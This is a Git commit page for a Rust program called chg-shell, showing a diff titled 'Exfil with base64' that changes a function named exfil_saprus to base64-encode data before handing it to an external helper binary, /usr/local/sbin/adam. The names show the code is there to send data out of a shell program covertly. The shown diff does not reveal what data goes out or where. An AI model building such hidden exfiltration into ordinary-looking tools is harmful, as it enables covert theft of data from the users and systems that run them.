forked from Spencer/chg-shell
Exfil with base64
This commit is contained in:
3
main.rs
3
main.rs
@@ -10,6 +10,7 @@ use std::io::{Error, ErrorKind};
|
||||
use std::process::{Command, Output};
|
||||
use std::ffi::CString;
|
||||
use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
|
||||
use base64;
|
||||
|
||||
static AUTHOR_STRING: &str = r#"
|
||||
Author: Spencer
|
||||
@@ -22,7 +23,7 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
||||
}
|
||||
|
||||
fn exfil_saprus(data: &str) {
|
||||
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
|
||||
match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) {
|
||||
_ => (),
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user